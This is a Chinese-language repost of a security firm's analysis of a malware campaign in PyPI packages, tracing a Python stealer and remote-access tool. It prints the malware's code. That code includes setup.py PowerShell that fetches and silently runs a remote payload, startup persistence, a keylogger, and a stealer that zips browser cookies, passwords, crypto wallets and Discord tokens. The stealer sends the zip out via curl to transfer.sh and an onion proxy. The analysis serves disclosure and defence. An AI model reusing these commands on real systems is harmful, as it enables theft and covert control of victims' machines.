|
Phylum 发现了另一起针对 PyPI 用户的恶意软件活动,攻击链复杂而混乱,但也很新颖,进一步证明供应链攻击者不会很快放弃。
背景
2022 年 12 月 22 日上午,Phylum 的自动化风险检测平台标记了一个名为 pyrologin 的包。乍一看,它看起来像是在解码的 Base64 编码字符串上调用 exec 的非常标准的 Python 恶意软件,因此我们报告了它并继续前进。然而,在这个包中确实突出的一件事是从 transfer[.]sh 站点获取一个 zip 文件和一些包含 PowerShell 代码的字符串,其中隐藏了 "SilentlyContinue" 和 -WindowStyle,这看起来很明显是为了隐藏攻击者试图执行的任何代码。但同样,当时这是我们发现的唯一一个类似的包,所以将它固定在我们的 "关注这个" 墙上并继续前进。
但是之后:
- 12/28/22 我们的自动风险检测平台提醒我们发布了 easytimestamp,它具有与 pyrologin 类似的标志
- 12/29/22 我们的平台标记了 discord 和 discord-dev 的发布,其中也包含与 pyrologin 的相似之处
- 12/31/22 我们的平台标记了 style.py 和 pythonstyles 的发布,它们看起来和其他的一样
在这一点上,很明显这不仅仅是一次发布,而是对 Python 开发人员和 PyPI 的又一次新兴攻击。让我们开始吧!
setup.py
这个攻击链的第一阶段,就像我们最近在 PyPI 中发现的许多恶意软件一样,从 setup.py 开始。不幸的是,这意味着任何简单地 pip 安装这些软件包的人都会触发在他们的机器上开始恶意软件部署。以下是 setup.py 中的相关片段,为了便于阅读而格式化:
- ...
- exec(base64.b64decode(b'ZGVmIHJ1bihjbWQpOmltcG9ydCBvcywgc3VicHJvY2Vzczty---TRUNCATED---'))
- if not os.path.exists(r'C:/ProgramData/Updater'):
- print('Installing dependencies, please wait...')
- if sys.version_info.minor > 10:
- run(r"powershell -command $ProgressPreference = 'SilentlyContinue'; $ErrorActionPreference = 'SilentlyContinue'; Invoke-WebRequest -UseBasicParsing -Uri https://transfer.sh/0tUIJu/Updater.zip -OutFile $env:tmp/update.zip; Expand-Archive -Force -LiteralPath $env:tmp/update.zip -DestinationPath C:/ProgramData; Remove-Item $env:tmp/update.zip; Start-Process -WindowStyle Hidden -FilePath python.exe -Wait -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput'); WScript.exe //B C:\ProgramData\Updater\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\ProgramData\Updater\server.pyw")
- else:
- run(r"powershell -command $ProgressPreference = 'SilentlyContinue'; $ErrorActionPreference = 'SilentlyContinue'; Invoke-WebRequest -UseBasicParsing -Uri https://transfer.sh/0tUIJu/Updater.zip -OutFile $env:tmp/update.zip; Expand-Archive -Force -LiteralPath $env:tmp/update.zip -DestinationPath C:/ProgramData; Remove-Item $env:tmp/update.zip; Start-Process -WindowStyle Hidden -FilePath python.exe -Wait -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput lz4'); WScript.exe //B C:\ProgramData\Updater\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\ProgramData\Updater\server.pyw")
- ...
复制代码
如上所述,我们首先注意到的是 Base64 编码字符串的 exec。让我们首先对其进行解码,看看那里发生了什么,格式:
- def run(cmd):
- import os, subprocess
- result = subprocess.Popen(
- cmd,
- shell=True,
- stdin=subprocess.PIPE,
- stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT,
- close_fds=True
- )
- output = result.stdout.read()
- return
复制代码
好的,所以它只定义了一个名为 run 的函数,该函数将获取提供的 cmd 参数并将其传递给 subprocess.Popen() ,后者将在新进程中执行 cmd。请注意,设置了 shell=True 将使用 shell 作为要执行的程序。在编码字符串上使用 exec 的目的似乎是试图阻止静态分析和/或提供某种最小形式的混淆。
现在定义了运行,我们继续进行无意义的检查以查看 C:/ProgramData/Updater 是否存在。如果没有 (这个目录是在后面的步骤中创建的),它只是告诉受害者正在安装 "依赖项"。
接下来它检查正在运行的 Python 的次要版本,然后将一个长的 PowerShell 命令传递给我们现在定义的运行函数,次要版本检查只是确定下一步需要 pip 安装哪些包以支持最终的恶意软件部署,让我们剖析 PowerShell 代码。 这里为了便于阅读而格式化:
- $ProgressPreference = 'SilentlyContinue';
- $ErrorActionPreference = 'SilentlyContinue';
- Invoke-WebRequest
- -UseBasicParsing
- -Uri https://transfer.sh/0tUIJu/Updater.zip
- -OutFile $env:tmp/update.zip;
- Expand-Archive
- -Force
- -LiteralPath $env:tmp/update.zip
- -DestinationPath C:/ProgramData;
- Remove-Item $env:tmp/update.zip;
- Start-Process
- -WindowStyle Hidden
- -FilePath python.exe
- -Wait
- -ArgumentList @('-m pip install pydirectinput pyscreenshot flask py-cpuinfo pycryptodome GPUtil requests keyring pyaes pbkdf2 pywin32 pyperclip flask_cloudflared pillow pynput');
- WScript.exe //B C:\ProgramData\Updater\launch.vbs
- powershell.exe
- -WindowStyle hidden
- -command Start-Process
- -WindowStyle Hidden
- -FilePath python.exe C:\ProgramData\Updater\server.pyw
复制代码
以下是发生的过程:
- 可以立即看到一些偏好设置为 "SilentlyContinue",换句话说,不要让受害者知道发生了什么
- 有一个 Invoke-WebRequest 从 https://transfer.sh/0tUIJu/Updater.zip 抓取一个 zip 文件并将其放入临时目录
- 然后将其解压缩到 C:/ProgramData/Updater
- 从磁盘中删除下载的 zip
- 然后使用 Start-Process 运行 python -m pip install 并安装一长串潜在的侵入性软件包,包括 pynput、pydirectinput 和 pyscreenshot。除其他事项外,这些库允许人们控制和监视鼠标和键盘输入并捕获屏幕内容。同样值得注意的是 flask 和 flask_cloudflared 的安装,因为如果它真的很有趣 —— 稍后会详细介绍。
- 最后,它使用 WScript.exe 从名为 launch.vbs 的解压缩目录运行一个 vbs 文件,该文件启动 powershell.exe 以在 -WindowStyle 隐藏模式下启动另一个名为 server.pyw 的下载文件。
这里发生了很多事情,让我们从探索它拉出的 zip 上的内容开始。它包含以下文件和文件夹:
- cftunnel.py
- cgrab.py
- discord.py
- launch.vbs
- pwgrab.py
- server.pyw
- static/
- templates/
按照文件的使用顺序来看一下这些文件。
launch.vbs
在上面的第 6 步中,WScript.exe 用于运行 launch.vbs,让我们看看其中发生了什么:
- On Error Resume Next
- ReDim args(WScript.Arguments.Count-1)
- For i = 0 To WScript.Arguments.Count-1
- If InStr(WScript.Arguments(i), " ") > 0 Then
- args(i) = Chr(34) & WScript.Arguments(i) & Chr(34)
- Else
- args(i) = WScript.Arguments(i)
- End If
- Next
- CreateObject("WScript.Shell").Run Join(args, " "), 0, False
复制代码
使用此脚本的唯一目的是静默启动 powershell.exe。StackOverflow 上有一个关于如何做到这一点的问题的答案,我们怀疑攻击者只是完全从中提取了这段代码,因为它完全相同。
server.pyw
上面复杂的启动序列最终运行 server.pyw 所以让我们把注意力转移到那里,这是我们在该文件中找到的内容:
- import lzma, base64
- exec(lzma.decompress(base64.b64decode('/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4D96FUNdADSbS---TRUNCATED---')))
复制代码
另一个 exec,但这次它运行的是经过 Base64 编码和 lzma 压缩的东西。好的,让我们解码并解压!为简洁起见,我不会在此处粘贴整个结果,因为它原来是一个 675 LOC 文件,其中包含一个具有 17 个路由和 30 多个辅助函数的成熟的 Flask 应用程序!我将在此处仅包含导入和主要入口点代码:
- import os
- from flask import Flask, request, send_file, render_template
- from io import BytesIO, StringIO
- import subprocess, pyscreenshot, pydirectinput, GPUtil, requests, cpuinfo, shutil, string, random, sys
- from cftunnel import run_with_cloudflared
- from threading import Thread
- import pwgrab, discord, re, time, datetime
- from win32gui import GetForegroundWindow, GetWindowText
- from pynput import keyboard
- # browser storage mapping dict here
- # crypto wallet mapping dict here
- # chromium browser extension mapping dict here
- # large flask app here
- if __name__ == "__main__":
- if os.path.exists(lap + r"\whitelist"):
- app.run(debug=True, threaded=True)
- Thread(target=key).start()
- else:
- Thread(target=startup).start()
- Thread(target=ping).start()
- Thread(target=key).start()
- Thread(target=stl).start()
- run_with_cloudflared(app)
- app.run(debug=True, threaded=True)
复制代码
首先,我们看到使用了之前安装的一些导入。然后一个白名单文件的检查,如果找到,它将让我们进入调试模式。由于关心的是受害者,让我们忽略该路径并查看在 flask 应用程序启动之前触发的 4 个线程:
Thread 1: Thread(target=startup).start()
下面是启动函数的代码:
- def startup():
- try:
- run(
- r"powershell -command $startup = $env:appdata + \'\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Updater.lnk\'; $WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut($startup); $Shortcut.TargetPath = \'WScript.exe\'; $Shortcut.Arguments = \'//B C:\\ProgramData\\Updater\\launch.vbs powershell.exe -WindowStyle hidden -command Start-Process -WindowStyle Hidden -FilePath python.exe C:\\ProgramData\\Updater\\server.pyw\'; $Shortcut.Save()"
- )
- run("attrib +s +h C:/ProgramData/Updater")
- except:
- pass
复制代码
这段代码做的第一件事是尝试建立持久性,方法是将自己放入 Windows 启动文件夹,名称听起来不错,更新程序。
Thread 2: Thread(target=ping).start()
它触发另一个线程来运行 ping:
- def ping():
- while True:
- try:
- time.sleep(5)
- localhost_url = "http://127.0.0.1:8099/metrics"
- tunnel_url = requests.get(localhost_url).text
- tunnel_url = re.search(
- "(?Phttps?:\\/\\/[^\\s]+.trycloudflare.com)", tunnel_url
- ).group("url")
- requests.get(
- f"https://itduh2irtgjfx5gvmdxfkcetmgvmgyaqzayhruau4v57747funxuhoqd.onion.pet/ping?tunnel={tunnel_url}&uuid={uuid}&username={username}",
- verify=False,
- )
- except:
- pass
复制代码
我们稍后会回到这个问题,但现在可以看到它会无限期地尝试从 localhost:8099/metrics 获得响应,如果成功,就会向代理的洋葱站点发送一个 ping。
Thread 3: Thread(target=key).start()
这个很简单,它只是启动一个击键记录器:
- def key():
- keyboardListener = keyboard.Listener(on_press=addKey)
- keyboardListener.start()
复制代码
Thread 4: Thread(target=stl).start()
这个做了很多:
- def stl():
- if not os.path.exists(lap + r"\firstrun.txt"):
- try:
- savepath = tmp + "\\saved"
- zip_file = tmp + f"\\{uuid}.zip"
- try:
- run(f'rmdir /q /s "{savepath}\\')
- except:
- pass
- if supported:
- get_chrome_cookies()
- get_chromium_cookies()
- get_firefox_cookies()
- get_edge_cookies()
- get_brave_cookies()
- get_opera_cookies()
- get_operagx_cookies()
- get_vivaldi_cookies()
- for browser, browser_dir in browsers.items():
- get_passwords(browser, browser_dir)
- for extension, extension_dir in extensions.items():
- get_extensions(extension, extension_dir)
- for wallet, wallet_dir in wallets.items():
- get_wallets(wallet, wallet_dir)
- get_telegram()
- get_tokens()
- run(
- r'rmdir /q /s "'
- + savepath
- + r'\\misc\\tdata\\user_data" && rmdir /q /s "'
- + savepath
- + r'\\misc\\tdata\\emoji\"'
- )
- run(f'powershell Compress-Archive -Force "{savepath}\\' "{zip_file}\")
- run(f'attrib +h "{savepath}"')
- run(f'attrib +h "{zip_file}"')
- link = (
- "https://transfer.sh/"
- + run(f"curl -T "{zip_file}" https://transfer.sh/{uuid}.zip").split(
- "https://transfer.sh/"
- )[1]
- )
- requests.get(
- f"https://itduh2irtgjfx5gvmdxfkcetmgvmgyaqzayhruau4v57747funxuhoqd.onion.pet/save?uuid={uuid}&link={link}&date={date}&username={username}",
- verify=False,
- )
- run(f"echo no >%localappdata%/firstrun.txt")
- except:
- pass
复制代码
我认为仅凭函数名称就可以让您清楚地了解那里发生了什么。要点是,攻击者窃取了所有 cookie、浏览器密码、电报数据、discord 令牌和加密钱包,将其全部塞入一个 zip,然后通过另一个 transfer[.]sh 站点将其泄露。然后,攻击者通过暗网向一个洋葱网站发送另一个 ping 到带有一些信息的 clearnet 代理,大概是让他们知道他们成功地窃取了一堆东西。
run_with_cloudflared(app)
好的,所以当 ping 函数一直试图获取 localhost:8099/metrics 时,攻击者然后运行从 cftunnel.py 文件导入的 run_with_cloudflared(),所以让我们转到那里。
cftunnel.py
这是另一个相当长的文件,所以我不会粘贴它的内容,但我们只需要知道它会尝试下载并安装 cloudflared,这是受害者机器上的 cloudflare 隧道客户端。从自述文件:
包含 Cloudflare Tunnel 的命令行客户端,Cloudflare Tunnel 是一个隧道守护程序,可将流量从 Cloudflare 网络代理到您的源。这个守护进程位于 Cloudflare 网络和您的来源 (例如网络服务器) 之间。Cloudflare 吸引客户端请求并通过此守护程序将它们发送给您,而无需您在防火墙上戳洞 —— 您的来源可以尽可能保持关闭。
所以看起来 run_with_cloudflared() 允许攻击者通过 Cloudflare 隧道访问在受害者机器上运行的 flask 应用程序,而无需在防火墙上打开任何东西。这一切都可以通过使用 TryCloudflare 对攻击者完全免费完成,这似乎是他们在这里使用的。一旦隧道启动并运行,ping 功能最终将成功,让攻击者知道隧道正常运行并且他们控制了另一台机器。
好的,现在我们对这里发生的事情有了一个很好的了解。让我们回顾一下。 通过仅安装这些软件包之一:
- 大量敏感信息被泄露
- 攻击者建立持久性
- 击键记录器已打开
- 安装了 Cloudflare 隧道
- 启动了一个 flask 应用程序,攻击者可以通过隧道访问该应用程序
对于我们通常在 PyPI 中发布的恶意软件而言,这绝对是新颖的。它是一个结合了反向访问木马 (RAT) 的窃取程序。
可是等等!还有更多 …
现在让我们探索一些 flask 应用程序路由,看看这个 RAT 有什么能力。
Flask App
我们将从查看 "/" 路由开始,对于那些不熟悉 Flask 或 Web 应用程序路由的人来说,这就像应用程序的 "主页" 页面或索引页面。这条路由绑定到一个名为 cnc 的函数——大概代表命令和控制。
- @app.route("/")
- def cnc():
- return render_template(
- "control.html",
- username=username,
- ipv4=ipv4,
- ipv6=ipv6,
- gpu=gpu,
- cpu=cpu,
- ram=ram,
- )
复制代码
它只是呈现 control.html 模板并将有关受害机器的一些信息作为变量传递。这是在没有 css 且在 flask 外部呈现的模板的屏幕截图:
我们仍然可以在不运行应用程序的情况下很好地了解它在做什么,看起来我们认为它是一个指挥和控制中心是正确的。它提取受害者的用户名、IP 和机器信息,并允许攻击者运行 shell 命令、下载远程文件并在机器上执行它们、从机器中窃取文件甚至整个目录,甚至执行任意 python 代码。
它自称为 "xrat",但截至本文发表时,我们不确定这是指什么。 在功能方面与以名称 "xrat" 发布的其他 RAT 有很强的相似性,但它们不是用 Python 编写的。也许这是另一个 xrat 端口的开始,或者甚至可能只是对一个 xrat 的点头。无论哪种方式,我们都将其称为 poweRAT,因为它在攻击链中早期依赖于 PowerShell。
除了上面在 GUI 中显示的主要功能之外,还有一个名为 live 的路由绑定到 serve_img,代码如下:
- @app.route("/live\")
- def serve_img():
- return render_template("live.html\")
复制代码
有趣的是,我们来看看它在这里渲染的 live.html 模板。
- <html>
- <head>
- <script type="text/javascript">
- function reloadpic() {
- document.images["screen"].src = "screen.png?random=" + new Date().getTime();
- setTimeout("reloadpic();", 1000);
- }
- onload = reloadpic;
- function click(event) {
- fetch(`/click?x=${event.pageX}&y=${event.pageY}`);
- }
- function type(event) {
- fetch(`/type?key=${event.key}`);
- }
- document.addEventListener("click", click);
- document.addEventListener("keypress", type);
- </script>
- <style>
- body {
- overflow: hidden;
- padding: 0;
- margin: 0;
- }
- img {
- width: 100vw;
- }
- </style>
- </head>
- <body>
- <img id="screen">
- </body>
- </html>
复制代码
好的,这基本上是一个基本的远程桌面实现,刷新率约为 1fps。该页面只是不断更新的受害者屏幕图像,可以看到鼠标和键盘点击的 JavaScript 事件侦听器。因此,攻击者正在查看不断更新的受害者机器的屏幕截图,当他们在该页面上单击或键入时,这些函数会获取攻击者按下的 x、y 坐标或按钮,并将其传回 Python,然后触发鼠标单击 并按下受害者机器上的按钮。
学到了什么
这东西就像打了类固醇的 RAT,它具有内置于漂亮的 Web GUI 中的所有基本 RAT 功能,具有基本的远程桌面功能和启动窃取程序!即使攻击者无法建立持久性或无法使远程桌面实用程序正常工作,窃取者部分仍会发送它发现的任何内容。如果持久性和远程桌面部分确实有效,那只会雪上加霜。正如我们之前所说,这些攻击者顽强而聪明,只会不断改变策略。
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|